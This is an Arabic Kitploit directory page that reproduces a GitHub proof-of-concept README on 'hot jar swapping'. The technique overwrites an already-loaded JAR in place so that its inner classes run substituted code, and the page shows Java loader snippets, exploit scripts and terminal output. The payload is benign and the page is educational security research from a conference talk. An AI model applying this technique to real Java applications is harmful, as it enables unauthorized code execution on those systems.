Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
hot-jar-swapping-urlclassloader — عرض توضيحي لتبديل JAR عبر URLClassLoader يُظهر القدرة على استبدال واستغلال JAR محمّل مسبقًا مع الطبقات الداخلية. | Kitploit
أدوات/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
الاستغلالالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

عرض توضيحي لتبديل JAR عبر URLClassLoader يُظهر القدرة على استبدال واستغلال JAR محمّل مسبقًا مع الطبقات الداخلية.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
327منذ 3 سنواتتمت المراجعة من قبل Kitploit

التبديل الساخن لملفات JAR عبر URLClassLoader

يوضح الكود المثال التالي القدرة على تبديل ملف JAR مُحمَّل بالفعل بشكل ساخن والحصول على تنفيذ كود عن طريق استغلال حقيقة أن الفئات الداخلية (inner classes) لا تزال تصل إلى ملف JAR عند استدعائها، طالما أن inode لم يتغير.

تم اختباره على MacOS باستخدام OpenJDK (وتم استغلاله أيضًا على ناشر Apple's Author باستخدام Transporter).

عرض توضيحي من محادثة Frans Rosén بعنوان "Story of a RCE on Apple through hot jar swapping" من NahamCon 2022 EU.

طريقة التشغيل

build-and-run.sh

تقوم بتشغيله بالأمر:

root@kitploit:~
./build-and-run.sh

سيقوم هذا بـ:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

سيقوم Bootstrapper بتحميل وتشغيل الكلاس HelloWorld.Main باستخدام URLClassLoader وسيطلب منك تشغيل الدالة hello من الكلاس HelloWorld.Secondary الذي تم تحميله أيضًا بالفعل. وهذا للتحكم في وقت استبدال ملف JAR الذي تم تحميله بالفعل.

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

يمكنك الآن أن تقرر ما إذا كنت تريد الضغط على Enter دون استبدال أي ملف JAR، وهذا سيعرض مسار الكود الصحيح من HelloWorld/Secondary.java:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

سوف يقوم exploit.sh بـ:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

جزء النسخ عند استبدال HelloWorld.jar بـ exploit.jar مهم، لأنه إذا تغير inode فلن ينجح الاستغلال. أمر mv سيكتب inode جديدًا، لكن cp إلى ملف موجود لن يفعل ذلك. نفس الشيء حدث باستخدام استخراج ZIP، حيث أن inode لملف JAR الموجود لم يتغير أبدًا، مما سمح للاستغلال بالعمل.

إذا كنت تريد اختبار التبديل الساخن لملف JAR، قم بتشغيل exploit.sh في نافذة أخرى بعد تشغيل build-and-run.sh ولكن قبل الضغط على Enter:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

إذا قمت الآن بالضغط على Enter في ./build-and-run.sh يجب أن تشاهد بنجاح الكود المستبدل بدلاً من ذلك:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

مما يوضح أنه يمكننا استغلال حقيقة أن الفئات الداخلية/المجهولة (inner/anonymous-classes) لا تزال تُحمَّل من ملف JAR الفعلي حتى لو كان URLClassLoader قد حمَّل ملف JAR بالفعل قبل أن نستبدله.

شرح المشكلة

يحاول هذا المستودع شرح أنه يمكنك استبدال ملفات JAR المُحمَّلة بالفعل للحصول على تنفيذ كود بشرط توفر بعض المتطلبات الأساسية.

الفكرة هي أن ملف JAR تم تحميله في البداية باستخدام URLClassLoader:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

كما تم تحميل دالة ثانوية عند الإقلاع ولكن لم يتم استدعاؤها أبدًا:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

إذا تم استبدال ملف JAR أثناء تشغيل التطبيق، وكانت الفئة التي تم تحميلها ولكن لم يتم استدعاء أي من دوالها تحتوي أيضًا على فئات داخلية، فسنتمكن من جعلها تنفذ كودًا مختلفًا من ملف JAR الجديد إذا حدث الاستدعاء لاحقًا:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

لذا إذا كانت هذه الدالة تحتوي على فئة داخلية (تظهر في ملف JAR كـ $1.class) وقمنا باستبدال الفئة الداخلية بشيء بنفس الحجم ونفس نسبة الضغط، فسنتمكن من التبديل الساخن لملف JAR وجعل الكود الخاص بنا يعمل.

شرح الاستغلال

الفئة المجهولة من الملف Exploit/HelloWorld/Secondary.java تُترجم إلى الفئة الداخلية Exploit/HelloWorld/Secondary$1.class والتي لها نفس الحجم ونفس نسبة الضغط كما لو تم تجميع وضغط HelloWorld/Secondary.java. إذا اختلف الحجم أو نسبة الضغط، فستحصل على انهيار عند الضغط على Enter في build-and-run.sh. لذا إذا قمت بتغيير Exploit/HelloWorld/Secondary.java على سبيل المثال إلى (functionn بدلاً من function:):

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

حيث تكون نتيجة الضغط هي نفسها ولكن نسبة الضغط خاطئة:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

ستشاهد:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

على OpenJDK يبدو أنه إذا اختلف الحجم الأصلي ولكن حجم الضغط هو نفسه فإنه لا يزال يعمل:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

سيظل exploit.sh يقول إن هناك فرقًا لأنه قد لا يعمل في جميع الإصدارات.

ستلاحظ أيضًا أنه إذا قمت بتغيير أشياء في Exploit/HelloWorld/Secondary.java خارج الفئة الداخلية، مثل:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

إلى:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

وهذا سيجعل Secondary.class بنفس نسبة الضغط والحجم، فلن يتم تشغيل المحتوى المستبدل، لأن الفئة قد تم تحميلها بالفعل بواسطة URLClassLoader، مما يؤكد أن هذا يؤثر فقط على الفئات الداخلية (تلك المسماة $1.class في ملف JAR) لأنها تُحمَّل من ملف JAR عند استخدامها:

root@kitploit:~
End of run, goodbye
تنزيل الأداة